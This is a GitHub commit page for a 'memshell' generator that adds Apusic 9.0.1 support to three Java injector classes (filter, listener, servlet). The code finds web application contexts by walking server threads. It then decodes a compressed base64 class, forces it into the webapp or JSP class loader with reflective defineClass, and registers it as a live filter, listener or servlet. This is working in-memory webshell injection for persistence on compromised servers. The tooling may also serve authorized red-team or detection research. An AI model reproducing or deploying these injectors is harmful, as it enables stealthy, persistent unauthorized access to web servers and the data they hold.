Skip to content

Commit dfc2ae0

Browse files
committed
feat: support Apusic 9.0.1
1 parent e05d58d commit dfc2ae0

File tree

3 files changed

+143
-63
lines changed

3 files changed

+143
-63
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

Lines changed: 52 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -3,11 +3,13 @@
33
import java.io.ByteArrayInputStream;
44
import java.io.ByteArrayOutputStream;
55
import java.io.IOException;
6+
import java.io.PrintStream;
67
import java.lang.reflect.Array;
78
import java.lang.reflect.Field;
89
import java.lang.reflect.Method;
910
import java.util.ArrayList;
1011
import java.util.List;
12+
import java.util.Map;
1113
import java.util.Set;
1214
import java.util.zip.GZIPInputStream;
1315

@@ -17,15 +19,22 @@
1719
*/
1820
public class ApusicFilterInjector {
1921

22+
String msg = "";
23+
2024
public ApusicFilterInjector() {
2125
try {
2226
List<Object> contexts = getContext();
27+
msg += "contexts size: " + contexts.size() + "\n";
2328
for (Object context : contexts) {
24-
Object filter = getShell(context);
25-
inject(context, filter);
29+
Object shell = getShell(context);
30+
boolean inject = inject(context, shell);
31+
msg += "context: " + getFieldValue(context, "contextRoot") + (inject ? " ok" : " already") + "\n";
2632
}
27-
} catch (Exception e) {
28-
e.printStackTrace();
33+
} catch (Throwable e) {
34+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
35+
PrintStream printStream = new PrintStream(outputStream);
36+
e.printStackTrace(printStream);
37+
msg += outputStream.toString();
2938
}
3039
}
3140

@@ -51,39 +60,57 @@ public List<Object> getContext() throws Exception {
5160
Set<Thread> threads = Thread.getAllStackTraces().keySet();
5261
for (Thread thread : threads) {
5362
if (thread.getName().contains("HouseKeeper")) {
54-
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
63+
// Apusic 9.0 SPX
64+
Object sessionManager = getFieldValue(thread, "this$0");
65+
contexts.add(getFieldValue(sessionManager, "container"));
66+
} else if (thread.getName().contains("HTTPSession")) {
67+
// Apusic 9.0.1
68+
Object sessionManager = getFieldValue(thread, "this$0");
69+
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
70+
contexts.addAll(contextMap.values());
5571
}
5672
}
5773
return contexts;
5874
}
5975

60-
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
76+
private Object getShell(Object context) throws Exception {
77+
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
78+
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
79+
ClassLoader defineLoader;
80+
Object obj;
6181
try {
62-
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
63-
} catch (Exception e) {
64-
return ((ClassLoader) getFieldValue(context, "loader"));
82+
// Apusic 9.0 SPX,优先从当前 loader 进行加载
83+
defineShell(loader);
84+
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
85+
obj = loader.loadClass(getClassName()).newInstance();
86+
defineLoader = loader;
87+
} catch (ClassNotFoundException e) {
88+
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
89+
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
90+
defineShell(internalLoader);
91+
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
92+
obj = loader.loadClass(getClassName()).newInstance();
93+
defineLoader = internalLoader;
6594
}
95+
msg += defineLoader + " loaded \n";
96+
return obj;
6697
}
6798

6899
@SuppressWarnings("all")
69-
private Object getShell(Object context) throws Exception {
70-
ClassLoader classLoader = getWebAppClassLoader(context);
100+
private void defineShell(ClassLoader classLoader) throws Exception {
71101
try {
72-
return classLoader.loadClass(getClassName()).newInstance();
73-
} catch (Exception e) {
74102
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
75103
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
76104
defineClass.setAccessible(true);
77-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
78-
return clazz.newInstance();
105+
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
106+
} catch (Throwable ignored) {
79107
}
80108
}
81109

82-
public void inject(Object context, Object filter) throws Exception {
110+
public boolean inject(Object context, Object filter) throws Exception {
83111
Object webModule = getFieldValue(context, "webapp");
84112
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
85-
System.out.println("filter already injected");
86-
return;
113+
return false;
87114
}
88115
// addFilterMapping
89116
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.apusic.deploy.runtime.FilterMapping");
@@ -100,7 +127,12 @@ public void inject(Object context, Object filter) throws Exception {
100127
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
101128
Object filterMapper = getFieldValue(context, "filterMapper");
102129
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
103-
System.out.println("filter injected successful");
130+
return true;
131+
}
132+
133+
@Override
134+
public String toString() {
135+
return super.toString() + "\n" + msg;
104136
}
105137

106138
@SuppressWarnings("all")
@@ -155,7 +187,7 @@ public static Field getField(Object obj, String fieldName) throws NoSuchFieldExc
155187
clazz = clazz.getSuperclass();
156188
}
157189
}
158-
throw new NoSuchFieldException(fieldName);
190+
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
159191
}
160192

161193
@SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

Lines changed: 46 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,12 @@
33
import java.io.ByteArrayInputStream;
44
import java.io.ByteArrayOutputStream;
55
import java.io.IOException;
6+
import java.io.PrintStream;
67
import java.lang.reflect.Field;
78
import java.lang.reflect.Method;
89
import java.util.ArrayList;
910
import java.util.List;
11+
import java.util.Map;
1012
import java.util.Set;
1113
import java.util.zip.GZIPInputStream;
1214

@@ -16,15 +18,22 @@
1618
*/
1719
public class ApusicListenerInjector {
1820

21+
String msg = "";
22+
1923
public ApusicListenerInjector() {
2024
try {
2125
List<Object> contexts = getContext();
26+
msg += "contexts size: " + contexts.size() + "\n";
2227
for (Object context : contexts) {
23-
Object listener = getShell(context);
24-
inject(context, listener);
28+
Object shell = getShell(context);
29+
boolean inject = inject(context, shell);
30+
msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n";
2531
}
26-
} catch (Exception e) {
27-
e.printStackTrace();
32+
} catch (Throwable e) {
33+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
34+
PrintStream printStream = new PrintStream(outputStream);
35+
e.printStackTrace(printStream);
36+
msg += outputStream.toString();
2837
}
2938
}
3039

@@ -45,47 +54,60 @@ public List<Object> getContext() throws Exception {
4554
Set<Thread> threads = Thread.getAllStackTraces().keySet();
4655
for (Thread thread : threads) {
4756
if (thread.getName().contains("HouseKeeper")) {
48-
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
57+
// Apusic 9.0 SPX
58+
Object sessionManager = getFieldValue(thread, "this$0");
59+
contexts.add(getFieldValue(sessionManager, "container"));
60+
} else if (thread.getName().contains("HTTPSession")) {
61+
// Apusic 9.0.1
62+
Object sessionManager = getFieldValue(thread, "this$0");
63+
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
64+
contexts.addAll(contextMap.values());
4965
}
5066
}
5167
return contexts;
5268
}
5369

54-
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
70+
private Object getShell(Object context) throws Exception {
71+
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
5572
try {
56-
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
57-
} catch (Exception e) {
58-
return ((ClassLoader) getFieldValue(context, "loader"));
73+
defineShell(loader);
74+
Object obj = loader.loadClass(getClassName()).newInstance();
75+
msg += loader + " loaded \n";
76+
return obj;
77+
} catch (ClassNotFoundException e) {
78+
// Apusic 9.0.1
79+
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
80+
defineShell(internalLoader);
81+
Object obj = loader.loadClass(getClassName()).newInstance();
82+
msg += internalLoader + " loaded \n";
83+
return obj;
5984
}
6085
}
6186

6287
@SuppressWarnings("all")
63-
private Object getShell(Object context) throws Exception {
64-
ClassLoader classLoader = getWebAppClassLoader(context);
88+
private void defineShell(ClassLoader classLoader) throws Exception {
6589
try {
66-
return classLoader.loadClass(getClassName()).newInstance();
67-
} catch (Exception e) {
6890
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
6991
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
7092
defineClass.setAccessible(true);
71-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
72-
return clazz.newInstance();
93+
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
94+
} catch (Throwable ignored) {
7395
}
7496
}
7597

76-
public void inject(Object context, Object listener) throws Exception {
98+
public boolean inject(Object context, Object listener) throws Exception {
7799
Object webModule = getFieldValue(context, "webapp");
78-
String[] listeners = (String[]) invokeMethod(webModule, "getListeners", null, null);
79-
for (String name : listeners) {
80-
if (getClassName().equals(name)) {
81-
System.out.println("listener already injected");
82-
return;
83-
}
100+
if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) {
101+
return false;
84102
}
85-
86103
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
87104
invokeMethod(context, "loadListeners", null, null);
88-
System.out.println("listener injected successful");
105+
return true;
106+
}
107+
108+
@Override
109+
public String toString() {
110+
return super.toString() + "\n" + msg;
89111
}
90112

91113
@SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

Lines changed: 45 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,12 @@
33
import java.io.ByteArrayInputStream;
44
import java.io.ByteArrayOutputStream;
55
import java.io.IOException;
6+
import java.io.PrintStream;
67
import java.lang.reflect.Field;
78
import java.lang.reflect.Method;
89
import java.util.ArrayList;
910
import java.util.List;
11+
import java.util.Map;
1012
import java.util.Set;
1113
import java.util.zip.GZIPInputStream;
1214

@@ -16,15 +18,22 @@
1618
*/
1719
public class ApusicServletInjector {
1820

21+
String msg = "";
22+
1923
public ApusicServletInjector() {
2024
try {
2125
List<Object> contexts = getContext();
26+
msg += "contexts size: " + contexts.size() + "\n";
2227
for (Object context : contexts) {
23-
Object servlet = getShell(context);
24-
inject(context, servlet);
28+
Object shell = getShell(context);
29+
boolean inject = inject(context, shell);
30+
msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n";
2531
}
26-
} catch (Exception e) {
27-
e.printStackTrace();
32+
} catch (Throwable e) {
33+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
34+
PrintStream printStream = new PrintStream(outputStream);
35+
e.printStackTrace(printStream);
36+
msg += outputStream.toString();
2837
}
2938
}
3039

@@ -45,44 +54,61 @@ public List<Object> getContext() throws Exception {
4554
Set<Thread> threads = Thread.getAllStackTraces().keySet();
4655
for (Thread thread : threads) {
4756
if (thread.getName().contains("HouseKeeper")) {
48-
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
57+
// Apusic 9.0 SPX
58+
Object sessionManager = getFieldValue(thread, "this$0");
59+
contexts.add(getFieldValue(sessionManager, "container"));
60+
} else if (thread.getName().contains("HTTPSession")) {
61+
// Apusic 9.0.1
62+
Object sessionManager = getFieldValue(thread, "this$0");
63+
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
64+
contexts.addAll(contextMap.values());
4965
}
5066
}
5167
return contexts;
5268
}
5369

54-
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
70+
private Object getShell(Object context) throws Exception {
71+
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
5572
try {
56-
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
57-
} catch (Exception e) {
58-
return ((ClassLoader) getFieldValue(context, "loader"));
73+
defineShell(loader);
74+
Object obj = loader.loadClass(getClassName()).newInstance();
75+
msg += loader + " loaded \n";
76+
return obj;
77+
} catch (ClassNotFoundException e) {
78+
// Apusic 9.0.1
79+
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
80+
defineShell(internalLoader);
81+
Object obj = loader.loadClass(getClassName()).newInstance();
82+
msg += internalLoader + " loaded \n";
83+
return obj;
5984
}
6085
}
6186

6287
@SuppressWarnings("all")
63-
private Object getShell(Object context) throws Exception {
64-
ClassLoader classLoader = getWebAppClassLoader(context);
88+
private void defineShell(ClassLoader classLoader) throws Exception {
6589
try {
66-
return classLoader.loadClass(getClassName()).newInstance();
67-
} catch (Exception e) {
6890
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
6991
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
7092
defineClass.setAccessible(true);
71-
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
72-
return clazz.newInstance();
93+
defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
94+
} catch (Throwable ignored) {
7395
}
7496
}
7597

76-
public void inject(Object context, Object servlet) throws Exception {
98+
public boolean inject(Object context, Object servlet) throws Exception {
7799
Object webModule = getFieldValue(context, "webapp");
78100
Object servletMapper = getFieldValue(context, "servletMapper");
79101
if (invokeMethod(webModule, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
80-
System.out.println("servlet already injected");
81-
return;
102+
return false;
82103
}
83104
invokeMethod(webModule, "addServlet", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
84105
invokeMethod(servletMapper, "addMapping", new Class[]{String.class, boolean.class, String[].class}, new Object[]{getClassName(), true, new String[]{getUrlPattern()}});
85-
System.out.println("servlet injected successful");
106+
return true;
107+
}
108+
109+
@Override
110+
public String toString() {
111+
return super.toString() + "\n" + msg;
86112
}
87113

88114
@SuppressWarnings("all")

0 commit comments

Comments
 (0)